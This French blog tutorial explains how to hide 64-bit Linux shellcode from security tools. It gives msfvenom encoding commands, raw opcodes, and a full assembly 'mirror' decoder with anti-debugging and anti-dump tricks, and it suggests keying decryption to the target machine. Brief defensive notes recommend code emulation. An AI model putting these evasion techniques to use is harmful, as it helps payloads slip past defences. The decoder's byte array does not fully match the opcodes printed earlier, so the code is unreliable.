Linux shellcode 64 bits – Encoders et Crypters

L’objet de cette série d’articles est d’aborder quelques techniques d’évasion pour des shellcodes.

Cet article fait suite à l’article précédent Linux shellcode 64 bites – Obfuscation

Encoders

Le shellcode vu dans l‘article précédent est obfusqué, c’est pas mal, mais on peut faire mieux en utilisant des encoders.

Pour encoder votre shellcode vous avez le choix entre :

  1. Utiliser un encoder existant
  2. Modifier un encoder existant
  3. Créer un nouveau encoder

 

  1. Utiliser un encoder existant 

C’est la solution de facilité mais il faut savoir que les signatures et les algorithmes des encoders publiques sont connues. Si vous pensez à l’encoder polymorphique « shikata ga nai » de Metasploit et bien il est facilement repérable de part la présence systématique de l’instruction (suspecte) FNSTENV.

Si malgré tout la technique vous tente, vous pouvez utiliser l’utilitaire msfvenom de Metasploit.

D’abord, exporter votre shellcode sous format d’opcodes :

for i in $(objdump -d sc64 |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\xeb\x01\xe9\x48\xb9\x02\x50\x4a\x42\x01\x53\x50\x00\x48\x0f\x6e\xc1\x48\xb9\x2d\x12\x1f\x2c\x2e\x20\x18\x00\x48\x0f\x6e\xc9\x0f\xdc\xc1\x48\x0f\x7e\xc1\x0f\x77\x48\x31\xd2\xb0\x30\x51\x48\x8d\x3c\x24\x04\x0b\x0f\x05 

Ensuite il suffit d’envoyer ces opcodes dans un des encoders de msfvenom. Pour avoir la liste des encoders disponibles :

msfvenom -l encoders

Exemple d’encodage du shellcode avec l’encoder XOR :

echo -ne "\xeb\x01\xe9\x48\xb9\x02\x50\x4a\x42\x01\x53\x50\x00\x48\x0f\x6e\xc1\x48\xb9\x2d\x12\x1f\x2c\x2e\x20\x18\x00\x48\x0f\x6e\xc9\x0f\xdc\xc1\x48\x0f\x7e\xc1\x0f\x77\x48\x31\xd2\xb0\x30\x51\x48\x8d\x3c\x24\x04\x0b\x0f\x05 "
| msfvenom -f c -e x64/xor -a x64 --platform linux

Cyberdéfense

En principe les outils modernes du marché suffisent à bloquer ce genre d’encoders car les signatures et algorithmes sont connues.

2. Modifier un encoder existant  

Il suffit de prendre le code source de l’encoder, de le modifier un peu en ajoutant quelques instructions même inutiles. Cela suffit souvent à passer à travers les outils basés sur les signatures ou du pattern-matching.

Cyberdéfense

Les outils basés sur les signatures uniquement ne suffisent plus dans ce cas là, il faut utiliser d’autres techniques de détections, comme l’analyse comportementale en faisant par exemple appel à l’émulation de code.

3. Créer un nouveau encoder

L’avantage d’un encoder tout nouveau c’est que sa signature et son algorithme ne sont pas connus, c’est ce que je vous propose dans cet article.

Le principe est relativement simple : dans un premier temps il faut dumper les opcodes du shellcode puis créer un algorithme qui mixe tous ces opcodes.

Afin de récupérer les opcodes, tous les moyens sont bons, un script Python, un éditeur hexadécimal, la commande xxd, etc…

Sinon vous pouvez toujours récupérer un script de dump tout fait sur www.commandlinefu.com

Une fois que vous avez votre suite d’opcodes il faut trouver une façon de les encoder. Dans ce domaine tout est possible, libre cours à votre imagination !

L’algorithme proposé ici est sommaire, il s’agit de swapper les opcodes comme dans un miroir. J’échange le premier opcode avec le dernier opcode, le deuxième avec l’avant-dernier, etc, La condition pour que cet algorithme fonctionne est un nombre pair d’opcodes ; si ce n’est pas le cas il suffit d’ajouter une instruction inutile en fin de code comme un nop.

Voila, une fois l’algorithme défini, il n’y a plus qu’à le baptiser, coder l’encoder, en général en Python, puis le decoder en assembleur ; j’ai appelé cet encoder, le « mirror encoder ».

Je n’ai pas mis ici le code source de l’encoder, si cela vous intéresse faites-moi signe, je le mettrai en ligne.

Quant au decoder, voici un exemple d’implémentation en assembleur 64 bits utilisant la technique du « JMP-CALL-POP » :

; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64.nasm -o sc64.o
; $ ld sc64.o -o sc64

global _start

section .text   
_start:	
	jmp begin+1		    ; anti dump, disalign opcode
begin:
	db 0xe9	                    
                                    ; anti debugging
	rdtsc                       ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])
	xor ecx,ecx                 ; sets ECX to zero
	add ecx,eax                 ; save timestamp to ECX
	rdtsc                       ; get another timestamp
	sub eax,ecx                 ; compute elapsed ticks
	cmp eax,0xFFF		    ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)
	jl next
	retn			    ; program crash
next:
 
        jmp ONSTACK   
GO_LOOP:
        pop r8                       ; r8 is the SC address
	xor rcx, rcx                 ; offset to first SC byte
	mov rdx, 0x3d                ; offset to last SC byte = SC length -1         
LOOP:
	cmp rcx, 0x1F                ; SC length / 2 - stop swapping bytes when we are in the middle
	je SC                        ; go to decoded shell code
	
	mov al, byte [r8+rcx]        ; save values
	mov bl, byte [r8+rdx]

	mov byte [r8+rcx], bl        ; swap values
	mov byte [r8+rdx], al
  
	inc rcx                      ; go to next byte from left to right
	dec rdx                      ; go to next byte from right to left
        jmp LOOP                 
section .data
ONSTACK:
	call GO_LOOP
SC:	db 0x05,0x0f,0x0b,0x04,0x24,0x3c,0x8d,0x48,0x51,0x08,0xe9,0xc1,0x48,0x30,0xb0,0x08,0xe1,0xc1,0x48,0xd2,0x31,0x48,0x77,0x0f,0xc1,0x7e,0x0f,0x48,0xc1,0xdc,0x0f,0xc9,0x6e,0x0f,0x48,0x69,0x18,0x20,0x2e,0x2c,0x1f,0x12,0x2d,0xb9,0x48,0xc1,0x6e,0x0f,0x48,0x69,0x50,0x53,0x01,0x42,0x4a,0x50,0x02,0xb9,0x48,0xe9,0x01,0xeb

Cyberdéfense

Un moyen de contrer ces attaques est de passer par de l’émulation de code (je vous conseille d’aller voir le projet Unicorn).

Crypters

Ici l’idée n’est plus d’encoder le shellcode mais bel et bien d’utiliser du chiffrement ( symétrique, ou asymétrique).

Le plus simple est de partir sur un algorithme symétrique comme RC4 ou AES en récupérant une implémentation sur le Net puis de chiffrer le shellcode encodé.

Le chainage

C’est ce que j’appelle la totale !

C’est le chainage de toutes les techniques d’évasion sur un même shellcode.

On part du shellcode d’origine sur lequel on applique de l’obfuscation, puis un encoder et enfin un crypter.

Mais un bon décodeur se doit de masquer sa clef de déchiffrement.

Pour cela il peut utiliser comme clef un identifiant unique de la machine cible (son nom, son ip, etc) de telle sorte que si on exécute ou émule le code du décoder sur une autre machine, on aboutisse à rien de significatif.